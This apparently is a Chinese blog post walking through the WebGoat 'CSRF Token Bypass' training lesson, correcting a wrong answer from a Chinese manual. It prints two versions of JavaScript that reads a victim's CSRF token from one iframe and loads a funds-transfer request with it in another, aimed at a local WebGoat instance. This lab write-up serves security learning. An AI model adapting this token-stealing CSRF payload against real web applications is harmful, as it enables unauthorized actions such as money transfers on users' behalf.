美文网首页
CSRF Token Bypass再来过

CSRF Token Bypass再来过

作者: nightmare丿 | 来源:发表于2017-04-28 10:24 被阅读0次

    最近使用WebGoat学习Java源码审计,顺便将WebGoat再过一遍,使用WebGoat中文手册作为参考,测试到CSRF Token绕过这个地方时,发现参考答案始终无法通过,仔细研究了下,发现原来是中文手册答案有误,因为耽误了些时间,所以就打算把它记录下来,避免后来人再踩坑。

    1、问题分析

    WebGoat中文参考手册给出的整理如下:

    var tokenvalue;

    function readFrame1() {

    var frameDoc = document.getElementById("frame1").contentDocument;

    var form = frameDoc.getElementsByTagName("form")[1];

    var token = form.CSRFToken.value;

    tokenvalue = '&CSRFToken='+token;

    loadFrame2();

    }

    function loadFrame2() {

    var testFrame = document.getElementById("frame2");

    testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;

    }

    提交答案点击后将得到如下答案:

    由上图可知第一个iframe被正常加载,但是第二个iframe中的内容却没有被正常加载,使用burp截获交互数据,发现(http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue)这个请求并没有被发送出去,猜想JS readFrame1方法并没有执行到最后的loadFrame2()这个语句,执行的过程中出现了差错。使用chrome对readFrame1中的代码进行动态调试,调试结果如下图所示:

    在获取CSRFToken参数值的时候出现了错误,因此基本可以确定答案的错误主要来自于JS获取参数的方法出现了错误。

    2、纠正验证

    确定了答案的错误,那么就要寻找正确获取CSRFToken参数的方法,下面直接贴出完整的答案代码:

    var tokenvalue;

    function readFrame1() {

    var frameDoc = document.getElementById("frame1").contentDocument;

    var form = frameDoc.forms["form"];

    var token = form.getElementsByTagName("input").CSRFToken["value"];

    tokenvalue = '&CSRFToken='+token;

    loadFrame2();

    }

    function loadFrame2() {

    var testFrame = document.getElementById("frame2");

    testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;

    }

    输入参数并提交,这时候看到了让我们兴奋的结果,如下图:

    刷新下页面,此时页面左边出现了帅气的绿色对勾。此外需要注意的是在进行测试时一定要保证Screen、menu两个参数与页面右边的Parameters参数(如下图)保持一致,否则测试无法通过。

    相关文章

      网友评论

          本文标题:CSRF Token Bypass再来过

          本文链接:https://www.haomeiwen.com/subject/fjyozttx.html